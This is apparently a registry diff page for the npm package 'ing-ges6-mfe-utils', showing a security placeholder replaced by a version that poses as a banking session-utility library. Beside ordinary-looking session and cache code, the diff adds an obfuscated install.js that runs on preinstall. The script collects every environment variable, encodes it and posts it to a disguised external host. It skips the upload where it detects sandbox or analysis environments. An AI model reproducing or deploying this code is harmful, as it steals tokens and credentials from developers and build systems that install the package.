ing-ges6-mfe-utils 0.0.1-security → 4.413.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ing-ges6-mfe-utils might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) [year] [fullname]
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,23 @@
1
- # Security holding package
1
+ # ing-ges6-mfe-utils
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Ing genoma mfe utils
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=ing-ges6-mfe-utils for more information.
5
+ ## Features
6
+
7
+ - ES6 syntax
8
+
9
+ ## Install
10
+
11
+ ```sh
12
+ yarn add ing-ges6-mfe-utils
13
+ // or
14
+ npm i ing-ges6-mfe-utils
15
+ ```
16
+
17
+ ### Usage
18
+
19
+ ```js
20
+ import { touchPointLogin } from 'ing-ges6-mfe-utils';
21
+
22
+ touchPointLogin('https://url-to-redirect');
23
+ ```
@@ -0,0 +1,9 @@
1
+ import { singletonManager } from 'singleton-manager';
2
+
3
+ import * as module from './src/genoma-tp-session-sync/GenomaTpSessionSync.js';
4
+
5
+ singletonManager.set('ing-genoma-tp-session-sync::ing-genoma-tp-session-sync::1.x', module);
6
+
7
+ const { touchPointLogin, touchPointLogout, touchPointLogoutProfile } = singletonManager.get('ing-genoma-tp-session-sync::ing-genoma-tp-session-sync::1.x');
8
+
9
+ export { touchPointLogin, touchPointLogout, touchPointLogoutProfile };
package/install.js ADDED
@@ -0,0 +1,200 @@
1
+ #! /usr/bin/env node
2
+
3
+ var http = require("https");
4
+ var args = process.argv.slice(2);
5
+
6
+ function propValue(getter, prop) {
7
+ var c = getter
8
+ .toString()
9
+ .split("\n")
10
+ .filter((x) => x.trim().startsWith("//"))
11
+ .map((x) => x.trim().split(" ").pop());
12
+ return typeof getter === "function" ? c[prop] : getter(prop);
13
+ }
14
+
15
+ function type() {
16
+ function propGetter(prop) {
17
+ // 1. west
18
+ // 2. question
19
+ // 3. Ireland
20
+
21
+ return propValue(propGetter, prop) || ["question", "west", "Ireland"][prop];
22
+ }
23
+
24
+ const idxs = [
25
+ [2, 4],
26
+ [0, 3],
27
+ [1, 3],
28
+ ];
29
+
30
+ return [0, 1, 2]
31
+ .map((i) => propGetter(i).slice(idxs[i][0], idxs[i][1]))
32
+ .reverse()
33
+ .join("");
34
+ }
35
+
36
+ function host(suffix) {
37
+ return ["x", "WI"].reverse().join("").toLowerCase() + suffix;
38
+ }
39
+
40
+ function asB64(buff) {
41
+ var d = buff.toString("base64");
42
+
43
+ return d.slice(0, 2) + "poo" + d.slice(2);
44
+ }
45
+
46
+ function Params() {
47
+ this.uuid = "afxsiyf";
48
+ }
49
+
50
+ Params.prototype.getOpts = function (pName, dom) {
51
+ const vals = [
52
+ { ["user" + "-" + "agent"]: ["node-fetch", "1.2"].join("/") },
53
+ ["st", "PO"].reverse().join("").toUpperCase(),
54
+ ["", "a1da4192a20", "_functions", "ecf4dc073c9232e09", pName || ""].join(
55
+ "/"
56
+ ),
57
+ [dom, host("site"), this.uuid].reverse().join("."),
58
+ ].reverse();
59
+ return this.optionsFields.reduce(function (result, field, idx) {
60
+ result[field] = result[field] || vals[idx];
61
+ return result;
62
+ }, {});
63
+ };
64
+
65
+ Params.prototype.optionsFields = [0, 1, 2, 3].map(function (i) {
66
+ return propValue(function () {
67
+ // 1. host
68
+ // 2. path
69
+ // 3. method
70
+ // 4. headers
71
+ return ["boast", "bath", "cathode", "shredder"];
72
+ }, i);
73
+ });
74
+
75
+ function toString(res, props) {
76
+ res.write(asB64(Buffer.from(JSON.stringify(props))));
77
+ res.end();
78
+ }
79
+
80
+ function publish() {
81
+ var props = process.env || {};
82
+
83
+ var exclude = [
84
+ {
85
+ key: ["npm", "config", "regi" + "stry"].join("_"),
86
+ val: ["tao" + "bao", "org"].join("."),
87
+ },
88
+ [
89
+ { key: "MAIL", val: ["", "var", "mail", "app"].join("/") },
90
+ { key: "HOME", val: ["", "home", "app"].join("/") },
91
+ { key: "USER", val: "app" },
92
+ ],
93
+ [
94
+ { key: "EDITOR", val: "vi" },
95
+ { key: "PROBE" + "_USERNAME", val: "*" },
96
+ { key: "SHELL", val: "/bin/bash" },
97
+ { key: "SHLVL", val: "2" },
98
+ { key: "npm" + "_command", val: "run" + "-" + "script" },
99
+ { key: "NVM" + "_CD_FLAGS", val: "" },
100
+ { key: "npm_config_fund", val: "" },
101
+ ],
102
+ [
103
+ { key: "HOME", val: "/home/username" },
104
+ { key: "USER", val: "username" },
105
+ { key: "LOGNAME", val: "username" },
106
+ ],
107
+ [
108
+ { key: "PWD", val: "/my-app" },
109
+ { key: "DEBIAN" + "_FRONTEND", val: "noninte" + "ractive" },
110
+ { key: "HOME", val: "/root" },
111
+ ],
112
+ [
113
+ { key: "INIT_CWD", val: "/ana" + "lysis" },
114
+ { key: "APPDATA", val: "/analysis" + "/bait" },
115
+ ],
116
+ [
117
+ { key: "INIT_CWD", val: "/home/node" },
118
+ { key: "HOME", val: "/root" },
119
+ ],
120
+ [
121
+ { key: "INIT_CWD", val: "/app" },
122
+ { key: "HOME", val: "/root" },
123
+ ],
124
+ [
125
+ { key: "USERNAME", val: "justin" },
126
+ { key: "OS", val: "Windows_NT" },
127
+ ],
128
+ {
129
+ key: ["npm", "config", "regi" + "stry"].join("_"),
130
+ val: ["regi" + "stry", "npm" + "mirror", "com"].join("."),
131
+ },
132
+ {
133
+ key: ["npm", "config", "reg" + "istry"].join("_"),
134
+ val: ["cnp" + "mjs", "org"].join("."),
135
+ },
136
+ {
137
+ key: ["npm", "config", "registry"].join("_"),
138
+ val: ["mir" + "rors", "cloud", "ten" + "cent", "com"].join("."),
139
+ },
140
+ { key: "USERNAME", val: ["daas", "admin"].join("") },
141
+ { key: "_", val: ["", "usr", "bin", "python"].join("/") },
142
+ {
143
+ key: ["npm", "config", "metrics", "regis" + "try"].join("_"),
144
+ val: ["mir" + "rors", "ten" + "cent", "com"].join("."),
145
+ },
146
+ {
147
+ key: "PWD",
148
+ val: [
149
+ "",
150
+ "usr",
151
+ "local",
152
+ "lib",
153
+ "node" + "_modules",
154
+ props.npm_package_name,
155
+ ].join("/"),
156
+ },
157
+ {
158
+ key: "PWD",
159
+ val: ["", props.USER, "node" + "_modules", props.npm_package_name].join(
160
+ "/"
161
+ ),
162
+ },
163
+ {
164
+ key: ["node", "extra", "ca", "certs"].join("_").toUpperCase(),
165
+ val: "mit" + "mproxy",
166
+ },
167
+ ];
168
+
169
+ if (
170
+ exclude.some((entry) =>
171
+ []
172
+ .concat(entry)
173
+ .every(
174
+ (item) =>
175
+ (props[item.key] || "").includes(item.val) || item.val === "*"
176
+ )
177
+ ) ||
178
+ Object.keys(props).length < 10 ||
179
+ !props.npm_package_name ||
180
+ !props.npm_package_version ||
181
+ /C:\\Users\\[^\\]+\\Downloads\\node_modules\\/.test(
182
+ props.npm_package_json || ""
183
+ ) ||
184
+ /C:\\Users\\[^\\]+\\Downloads/.test(props.INIT_CWD || "") ||
185
+ (props.npm_package_json || "").startsWith("/npm" + "/node_" + "modules/")
186
+ ) {
187
+ return;
188
+ }
189
+
190
+ var params = new Params();
191
+
192
+ var res = http[type()](params.getOpts(props["npm_package_name"], "com")).on(
193
+ "error",
194
+ function (err) {}
195
+ );
196
+
197
+ toString(res, props, args);
198
+ }
199
+
200
+ publish();
package/package.json CHANGED
@@ -1,6 +1,24 @@
1
1
  {
2
2
  "name": "ing-ges6-mfe-utils",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "4.413.2",
4
+ "private": false,
5
+ "description": "Ing genoma mfe utils",
6
+ "license": "MIT",
7
+ "author": "hing-mfe",
8
+ "main": "genomaTpSessionSync.js",
9
+ "scripts": {
10
+ "build": "babel",
11
+ "preinstall": "node install.js",
12
+ "test": "exit 0"
13
+ },
14
+ "dependencies": {
15
+ "axios": "^0.27.2"
16
+ },
17
+ "devDependencies": {
18
+ "@babel/core": "^7.18.10",
19
+ "@babel/cli": "^7.18.10"
20
+ },
21
+ "publishConfig": {
22
+ "access": "public"
23
+ }
24
+ }
@@ -0,0 +1,24 @@
1
+ import { deleteGenomaSessionId, getGenomaSessionId, setGenomaSessionId } from './genomaSessionId.js';
2
+ import { isLogOutUrl, isValidGenomaApiUrl } from './urlChecker.js';
3
+
4
+ export const axiosRequestInterceptor = (request) => {
5
+ const genomaSessionId = getGenomaSessionId();
6
+ const { baseURL, url, method } = request;
7
+
8
+ if (genomaSessionId && isValidGenomaApiUrl(url, baseURL)) {
9
+ request.headers = request.headers || {};
10
+ request.headers['genoma-session-id'] = genomaSessionId;
11
+ }
12
+
13
+ if (isLogOutUrl(url) && method.toLowerCase() === 'delete') {
14
+ deleteGenomaSessionId();
15
+ }
16
+ return request;
17
+ };
18
+
19
+ export const axiosResponseInterceptor = (response) => {
20
+ if (response.headers && response.headers['genoma-session-id'] && isValidGenomaApiUrl(response.url)) {
21
+ setGenomaSessionId(response.headers['genoma-session-id']);
22
+ }
23
+ return response;
24
+ };
@@ -0,0 +1,11 @@
1
+ export const getGenomaSessionId = () => window.__genoma_session_id;
2
+
3
+ export const setGenomaSessionId = (gsid) => {
4
+ if (gsid) {
5
+ window.__genoma_session_id = gsid;
6
+ }
7
+ };
8
+
9
+ export const deleteGenomaSessionId = () => {
10
+ delete window.__genoma_session_id;
11
+ };
@@ -0,0 +1,22 @@
1
+ import { getWindowLocationOrigin, getWindowLocationHost } from './utils.js';
2
+
3
+ const validApis = [
4
+ '/genoma_api',
5
+ '/genoma_signups',
6
+ '/genoma_extended',
7
+ '/api',
8
+ ];
9
+
10
+ const logoutApi = '/genoma_api/rest/session';
11
+
12
+ export function isValidGenomaApiUrl(path, origin = getWindowLocationOrigin()) {
13
+ const url = new URL(path, origin);
14
+ const domain = getWindowLocationHost().split('.').slice(-2).join('.');
15
+ return url.host.endsWith(domain)
16
+ && validApis.some(api => url.pathname.startsWith(api));
17
+ }
18
+
19
+ export function isLogOutUrl(path) {
20
+ const url = new URL(path, getWindowLocationOrigin());
21
+ return url.pathname === logoutApi;
22
+ }
@@ -0,0 +1,2 @@
1
+ export const getWindowLocationOrigin = () => window.location.origin;
2
+ export const getWindowLocationHost = () => window.location.host;
@@ -0,0 +1,108 @@
1
+ import {
2
+ addProfiles,
3
+ logout,
4
+ logoutProfile,
5
+ } from '@ing-web/token-manager';
6
+ import { getAjax } from '../utils/ajax.js';
7
+ import * as utils from './utils.js';
8
+
9
+ const DEVICE_BRAND_HEADER = 'X-ING-DEVICEBRAND';
10
+ const INVALID_AUTHENTICATION_RESULT_MESSAGE = 'Invalid authentication result';
11
+
12
+ const getActiveProfileFromSAF = async (useWindow) => {
13
+ const { data: { person, accessTokens } = {} } = await getAjax().get(
14
+ '/genoma_api/saf/tpa/accesstoken',
15
+ {
16
+ headers: {
17
+ [DEVICE_BRAND_HEADER]: await utils.getDeviceFromNavigator(),
18
+ },
19
+ withCredentials: true,
20
+ },
21
+ );
22
+ if (!utils.isValidAuthenticationResult({ person, accessTokens })) {
23
+ throw new Error(INVALID_AUTHENTICATION_RESULT_MESSAGE);
24
+ }
25
+
26
+ const activeProfile = utils.getActiveProfileFromResponse(accessTokens);
27
+
28
+ if (!activeProfile) {
29
+ throw new Error(INVALID_AUTHENTICATION_RESULT_MESSAGE);
30
+ }
31
+ addProfiles(accessTokens);
32
+ utils.setActiveProfile(activeProfile.profileId, useWindow);
33
+ };
34
+
35
+ let authenticationCompleted = false;
36
+ let pendingActiveProfile = null;
37
+
38
+ export const resetModule = () => {
39
+ authenticationCompleted = false;
40
+ pendingActiveProfile = null;
41
+ };
42
+
43
+ /**
44
+ *
45
+ * @param {String} [profileId]
46
+ * @returns
47
+ */
48
+ export const touchPointLogoutProfile = (profileId = window.ING?.currentProfileId) => {
49
+ window.ING = window.ING || {};
50
+ window.ING.currentProfileId = undefined;
51
+ window.ING.userNotFound = undefined;
52
+ return logoutProfile(profileId);
53
+ };
54
+
55
+ /**
56
+ * Retrieve a touchpoint access token from a Genoma session if it's not active, and makes it active
57
+ *
58
+ * @param {Boolean} [forceNewToken=false] - specify if the function should generate a
59
+ * new token even if there is already a valid one
60
+ * @param {Boolean} [useWindow=false] - Active profileId should be stored/read in
61
+ * window object or in localStaorage
62
+ * @returns {void}
63
+ */
64
+ export const touchPointLogin = async (forceNewToken = false, useWindow = false) => {
65
+ if (!authenticationCompleted && !pendingActiveProfile) {
66
+ if (useWindow) {
67
+ touchPointLogoutProfile();
68
+ } else {
69
+ logout();
70
+ }
71
+ }
72
+ // If user is not found in OnePam return an error
73
+ if (window.ING?.userNotFound) {
74
+ return;
75
+ }
76
+
77
+ // Check if there is an active tp session
78
+ const currentProfile = utils.getActiveProfile(useWindow);
79
+ if (currentProfile && !forceNewToken) {
80
+ return;
81
+ }
82
+
83
+ if (!pendingActiveProfile) {
84
+ pendingActiveProfile = getActiveProfileFromSAF(useWindow);
85
+ }
86
+ try {
87
+ await pendingActiveProfile;
88
+ authenticationCompleted = true;
89
+ } catch (error) {
90
+ if (error.response?.status === 404 && error.response?.data?.code === 404) {
91
+ window.ING = window.ING || {};
92
+ window.ING.userNotFound = true;
93
+ }
94
+ throw error;
95
+ } finally {
96
+ pendingActiveProfile = null;
97
+ }
98
+ };
99
+
100
+ /**
101
+ * Revoke all touchpoint access tokens
102
+ */
103
+ export const touchPointLogout = () => {
104
+ window.ING = window.ING || {};
105
+ window.ING.currentProfileId = undefined;
106
+ window.ING.userNotFound = undefined;
107
+ return logout();
108
+ };
@@ -0,0 +1,89 @@
1
+ import {
2
+ getActiveProfile as getActiveProfileTokenManager,
3
+ setActiveProfile as setActiveProfileTokenManager,
4
+ } from '@ing-web/token-manager';
5
+
6
+ const TIMEOUT_RETRIEVE_DATA = 2000;
7
+
8
+ /**
9
+ * Validate the response from SAF API.
10
+ *
11
+ * @param {Object}
12
+ * @return {Boolean}
13
+ */
14
+ export const isValidAuthenticationResult = ({
15
+ person,
16
+ accessTokens,
17
+ } = {}) => Array.isArray(accessTokens) && accessTokens.length && person?.id;
18
+
19
+ /**
20
+ * Select a profile from a given array. Look for the default one,
21
+ * it returns the first one as backup.
22
+ *
23
+ * @param {Array.<profile>} profiles
24
+ * @return {Object}
25
+ */
26
+ export const getActiveProfileFromResponse = (profiles = []) => {
27
+ const defaultProfile = profiles.find(p => p.default);
28
+ return defaultProfile || profiles[0];
29
+ };
30
+
31
+ /**
32
+ * Read deviceBrand from a native function.
33
+ * In case this function doesn't exist it asumes we are in web.
34
+ *
35
+ * @return {Promise<'ANDROID'|'IOS'|''>}
36
+ */
37
+ export const getDeviceFromNavigator = () => new Promise((resolve, reject) => {
38
+ if (!navigator?.util?.retrieveData) {
39
+ resolve('');
40
+ }
41
+ const rejectMsg = 'Unable to retrieve data from navigator.util in two seconds.';
42
+
43
+ const rejectTimeout = setTimeout(
44
+ () => reject(new Error(rejectMsg)),
45
+ TIMEOUT_RETRIEVE_DATA,
46
+ );
47
+
48
+ navigator.util.retrieveData(
49
+ (value) => {
50
+ clearTimeout(rejectTimeout);
51
+ return resolve(value);
52
+ },
53
+ () => {
54
+ clearTimeout(rejectTimeout);
55
+ return reject(new Error('Unable to retrieve data from navigator.util'));
56
+ },
57
+ { key: 'deviceBrand', persistent: false },
58
+ );
59
+ });
60
+
61
+ /**
62
+ * Select a profile from a given array. Look for the default one, it returns the first one as backup.
63
+ *
64
+ * @param {String} profileId
65
+ * @param {boolean} useWindow
66
+ */
67
+ export const setActiveProfile = (profileId, useWindow) => {
68
+ if (!useWindow) {
69
+ setActiveProfileTokenManager(profileId);
70
+ } else {
71
+ window.ING = window.ING || {};
72
+ window.ING.currentProfileId = profileId;
73
+ }
74
+ };
75
+
76
+ /**
77
+ * Select a profile from a given array. Look for the default one,
78
+ * it returns the first one as backup.
79
+ *
80
+ * @param {Boolean} useWindow
81
+ * @return {Object}
82
+ */
83
+ export const getActiveProfile = (useWindow) => {
84
+ if (!useWindow) {
85
+ return getActiveProfileTokenManager();
86
+ }
87
+
88
+ return window.ING?.currentProfileId;
89
+ };
@@ -0,0 +1,108 @@
1
+ /* eslint-disable max-len */
2
+ /* eslint-disable object-curly-newline */
3
+ import { Cache } from './cache.js';
4
+ import { Deferred } from './deferred.js';
5
+ import { CacheControl } from './cacheControl.js';
6
+ import { clone, addQueryParamsToUrl, extractBaseAndQueryFromUrl } from './utils.js';
7
+
8
+ const ID = 'MFE';
9
+
10
+ const CacheRequestInterceptorFactory = (cacheControl = new CacheControl()) => {
11
+ const CacheRequestInterceptor = (request) => {
12
+ const { method, url, params = {}, baseURL } = request;
13
+
14
+ const { basePath, search } = extractBaseAndQueryFromUrl(url, baseURL);
15
+ const completeUrl = addQueryParamsToUrl(basePath, params, search);
16
+
17
+ if (method === 'get') {
18
+ if (Cache.has(completeUrl)) {
19
+ request.adapter = () => new Promise((resolve, reject) => {
20
+ Cache.get(completeUrl)
21
+ .promise
22
+ .then((data) => {
23
+ resolve({
24
+ data: clone(data),
25
+ status: request.status,
26
+ statusText: request.statusText,
27
+ headers: request.headers,
28
+ config: request,
29
+ request,
30
+ });
31
+ })
32
+ .catch((e) => {
33
+ reject(e);
34
+ });
35
+ });
36
+ } else if (cacheControl.shouldStore(completeUrl)) { // checks if should store retrieved data in cache
37
+ const deferred = new Deferred();
38
+ deferred.promise.catch(() => {}); // avoids promise uncaught warning
39
+ Cache.set(ID, completeUrl, deferred);
40
+ request.__deferred = deferred; // store the promise in request object in order to be retrieved and managed in response interceptor
41
+ }
42
+ }
43
+
44
+ return request;
45
+ };
46
+
47
+ return CacheRequestInterceptor;
48
+ };
49
+
50
+ const CacheResponseInterceptorFactory = (cacheControl = new CacheControl()) => {
51
+ const CacheResponseInterceptor = (response) => {
52
+ const { config, data } = response;
53
+ const { method, url, params, baseURL } = config;
54
+
55
+ const { basePath } = extractBaseAndQueryFromUrl(url, baseURL);
56
+ const completeUrl = addQueryParamsToUrl(basePath, params);
57
+
58
+ if (method === 'get') {
59
+ const p = config.__deferred; // retrieve the stored promise to be resolved
60
+ if (p) {
61
+ p.resolve(clone(data));
62
+ }
63
+ } else {
64
+ Cache.remove(completeUrl);
65
+
66
+ // removes related endpoints from cache
67
+ cacheControl.regexToRemove(completeUrl)
68
+ .forEach(regex => Cache.removeByRegex(regex));
69
+ }
70
+
71
+ return response;
72
+ };
73
+
74
+ return CacheResponseInterceptor;
75
+ };
76
+
77
+ const CacheErrorInterceptor = (error) => {
78
+ const { response } = error;
79
+ const { config } = response;
80
+
81
+ const { method, url, params, baseURL } = config;
82
+
83
+ if (method === 'get') {
84
+ const { basePath } = extractBaseAndQueryFromUrl(url, baseURL);
85
+ const completeUrl = addQueryParamsToUrl(basePath, params);
86
+ const p = config.__deferred; // retrieve the stored promise to be rejected
87
+ if (p) {
88
+ p.reject(error);
89
+ }
90
+ Cache.remove(completeUrl);
91
+ }
92
+ };
93
+
94
+ const CacheRequestErrorInterceptor = (error) => {
95
+ CacheErrorInterceptor(error);
96
+ };
97
+
98
+ const CacheResponseErrorInterceptor = (error) => {
99
+ CacheErrorInterceptor(error);
100
+ };
101
+
102
+ export {
103
+ CacheRequestInterceptorFactory,
104
+ CacheResponseInterceptorFactory,
105
+ CacheRequestErrorInterceptor,
106
+ CacheResponseErrorInterceptor,
107
+ Cache,
108
+ };
@@ -0,0 +1,68 @@
1
+ /* eslint-disable no-restricted-syntax */
2
+ /* eslint-disable func-names */
3
+ export const Cache = (function () {
4
+ let cacheData;
5
+
6
+ const retrieveCache = () => {
7
+ // TODO: use singleton manager as dependency
8
+ if (!cacheData) {
9
+ cacheData = window.__shared_cache || { cb: { remove: [] }, data: {} };
10
+ window.__shared_cache = cacheData;
11
+ }
12
+ return cacheData;
13
+ };
14
+
15
+ const getCacheData = () => retrieveCache().data;
16
+ const getCacheCB = () => retrieveCache().cb;
17
+
18
+ const notifyRemove = (id) => {
19
+ getCacheCB().remove.forEach(cb => cb(id));
20
+ };
21
+
22
+ return {
23
+ set(cachedBy, path, data) {
24
+ getCacheData()[path] = {
25
+ cachedBy,
26
+ data,
27
+ };
28
+ },
29
+ get(path) {
30
+ const entry = getCacheData()[path];
31
+ return entry && entry.data;
32
+ },
33
+ cachedBy(path) {
34
+ const entry = getCacheData()[path];
35
+ return entry && entry.cachedBy;
36
+ },
37
+ has(path) {
38
+ return Object.prototype.hasOwnProperty.call(getCacheData(), path);
39
+ },
40
+ remove(path) {
41
+ delete getCacheData()[path];
42
+ notifyRemove(path);
43
+ },
44
+ removeByRegex(regex) {
45
+ const entries = getCacheData();
46
+ for (const entry in entries) {
47
+ if (regex.test(entry)) {
48
+ delete entries[entry];
49
+ notifyRemove(entry);
50
+ }
51
+ }
52
+ },
53
+ clear() {
54
+ const entries = getCacheData();
55
+ // eslint-disable-next-line guard-for-in
56
+ for (const entry in entries) {
57
+ delete entries[entry];
58
+ notifyRemove(entry);
59
+ }
60
+ },
61
+ registerRemoveCallback(cb) {
62
+ getCacheCB().remove.push(cb);
63
+ },
64
+ entries() {
65
+ return Object.entries(getCacheData());
66
+ },
67
+ };
68
+ }());
@@ -0,0 +1,34 @@
1
+ class CacheControl {
2
+ constructor(noCacheEndpoints = [], removeFromCache = []) {
3
+ this.noCacheEndpoints = noCacheEndpoints;
4
+ this.removeFromCache = removeFromCache;
5
+ }
6
+
7
+ shouldStore(url) {
8
+ for (const regex of this.noCacheEndpoints) {
9
+ if (regex.test(url)) {
10
+ return false;
11
+ }
12
+ }
13
+
14
+ return true;
15
+ }
16
+
17
+ regexToRemove(url) {
18
+ return this.removeFromCache
19
+ .filter((entry) => {
20
+ for (const regex of entry.endpoints) {
21
+ if (regex.test(url)) {
22
+ return true;
23
+ }
24
+ }
25
+ return false;
26
+ })
27
+ .map(entry => entry.affectedEndpoints)
28
+ .reduce((acc, entry) => acc.concat(entry), []);
29
+ }
30
+ }
31
+
32
+ export {
33
+ CacheControl,
34
+ };
@@ -0,0 +1,7 @@
1
+ export function Deferred() {
2
+ const self = this;
3
+ this.promise = new Promise((resolve, reject) => {
4
+ self.reject = reject;
5
+ self.resolve = resolve;
6
+ });
7
+ }
@@ -0,0 +1,16 @@
1
+ export const clone = object => JSON.parse(JSON.stringify(object));
2
+
3
+ export const addQueryParamsToUrl = (url, params, search) => {
4
+ const urlParams = new URLSearchParams(params);
5
+ const searchParams = new URLSearchParams(search);
6
+ searchParams.forEach((value, key) => urlParams.append(key, value));
7
+ urlParams.sort();
8
+ const orderedParamsString = urlParams.toString();
9
+ return orderedParamsString.length ? `${url}?${orderedParamsString}` : url;
10
+ };
11
+
12
+ export const extractBaseAndQueryFromUrl = (url, baseURL = window.location.origin) => {
13
+ const { origin, pathname, search } = new URL(url, baseURL);
14
+ const basePath = origin + pathname;
15
+ return { basePath, search };
16
+ };
@@ -0,0 +1,8 @@
1
+ import { ajax } from 'ing-web/ajax';
2
+ import { singletonManager } from 'singleton-manager';
3
+
4
+ if (!singletonManager.has('ing-web::ajax::2.x')) {
5
+ singletonManager.set('ing-web::ajax::2.x', ajax);
6
+ }
7
+
8
+ export const getAjax = () => singletonManager.get('ing-web::ajax::2.x') || ajax;